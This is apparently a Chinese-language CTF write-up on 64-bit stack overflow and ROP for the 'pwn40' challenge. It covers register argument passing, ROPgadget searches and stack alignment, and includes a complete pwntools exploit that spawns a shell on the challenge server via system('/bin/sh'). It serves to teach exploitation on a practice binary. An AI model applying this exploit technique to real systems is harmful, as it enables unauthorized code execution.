1. 64位与32位栈溢出的关键差异第一次接触64位栈溢出攻击时我也被寄存器传参规则搞得晕头转向。记得当时在CTF比赛中遇到pwn40这道题明明已经找到了system函数和/bin/sh字符串的地址却怎么都打不通。后来才发现问题就出在没有理解64位系统独特的传参方式。在32位系统中函数调用时参数是通过栈传递的。比如调用system(/bin/sh)我们只需要把返回地址、system地址和字符串地址依次压栈就行。但在64位系统中情况完全不同 - 前6个参数是通过寄存器传递的。具体来说第一个参数放在rdi寄存器第二个在rsi依次是rdx、rcx、r8和r9。只有当参数超过6个时多出来的部分才会使用栈空间。这个差异对栈溢出攻击的影响是巨大的。在pwn40这道题中虽然我们控制了返回地址但如果不先把/bin/sh的地址放入rdi寄存器直接跳转到system函数是没用的。这就是为什么我们需要寻找特定的gadget - 比如pop rdi; ret这样的指令序列它能帮我们把栈上的值弹出到rdi寄存器中。2. 理解ROP链的构建原理ROP(Return-Oriented Programming)链是栈溢出攻击的核心技术。它的基本思想是利用程序中已有的代码片段(gadget)通过精心构造的栈布局让程序按照我们的意愿执行一系列操作。在pwn40这道题中我们需要构建的ROP链要完成两个关键操作将/bin/sh字符串的地址放入rdi寄存器调用system函数为了找到合适的gadget我通常会使用ROPgadget这个工具。具体命令如下ROPgadget --binary pwn --only pop|ret | grep rdi这个命令会扫描二进制文件找出所有包含pop和ret指令的片段然后筛选出操作rdi寄存器的那些。在pwn40中我们找到了地址0x4007e3处的pop rdi; ret gadget。另一个容易被忽视但很重要的gadget是单纯的ret指令。在64位系统中由于存在栈对齐要求有时候需要在ROP链中插入一个ret指令来调整栈指针。这个可以通过以下命令查找ROPgadget --binary pwn | grep ret3. 实战构建pwn40的exploit现在让我们一步步构建pwn40的完整攻击流程。首先用IDA分析程序我们得到以下关键信息栈溢出需要的填充长度0xA8字节/bin/sh字符串地址0x400808system函数地址0x400520pop rdi; ret gadget地址0x4007e3ret gadget地址0x4004fepayload的结构应该是这样的填充垃圾数据直到覆盖返回地址(0xA8字节)pop rdi gadget的地址/bin/sh字符串的地址(会被pop到rdi)ret gadget的地址(用于栈对齐)system函数的地址用pwntools实现的完整exploit代码如下from pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28286) payload ba*(0xA8) payload p64(0x4007e3) # pop rdi; ret payload p64(0x400808) # /bin/sh payload p64(0x4004fe) # ret payload p64(0x400520) # system p.sendline(payload) p.interactive()4. 调试技巧与常见问题解决在实际操作中有几个常见的坑需要注意。首先是栈对齐问题 - 在64位系统中调用函数时栈指针(rsp)必须16字节对齐。如果不确定是否对齐可以在ROP链中插入一个ret指令来调整。另一个常见问题是找不到合适的gadget。这时候可以尝试扩大搜索范围ROPgadget --binary pwn | grep pop rdi如果实在找不到pop rdi也可以考虑其他寄存器组合或者使用更复杂的gadget链。调试时我推荐使用gdb配合pwntoolsgdb -q ./pwn然后在gdb中设置断点观察寄存器和栈的变化。pwntools的cyclic工具也能帮助快速确定溢出点payload cyclic(100)5. 进阶技巧与防御绕过掌握了基础ROP后可以尝试更复杂的攻击技巧。比如当程序没有直接提供system和/bin/sh时我们需要通过泄漏libc地址来计算这些函数的实际地址。这通常需要组合多个gadget来实现内存读取。现代系统有很多防护机制如ASLR、NX、Stack Canary等。绕过这些防护需要更高级的技术针对ASLR通过信息泄漏获取地址针对NX使用ROP或ret2libc针对Stack Canary泄漏canary值或覆盖其他控制流在pwn40这样的基础题目中这些防护通常是被禁用的但了解它们对实战很重要。建议从简单题目开始逐步挑战更复杂的场景。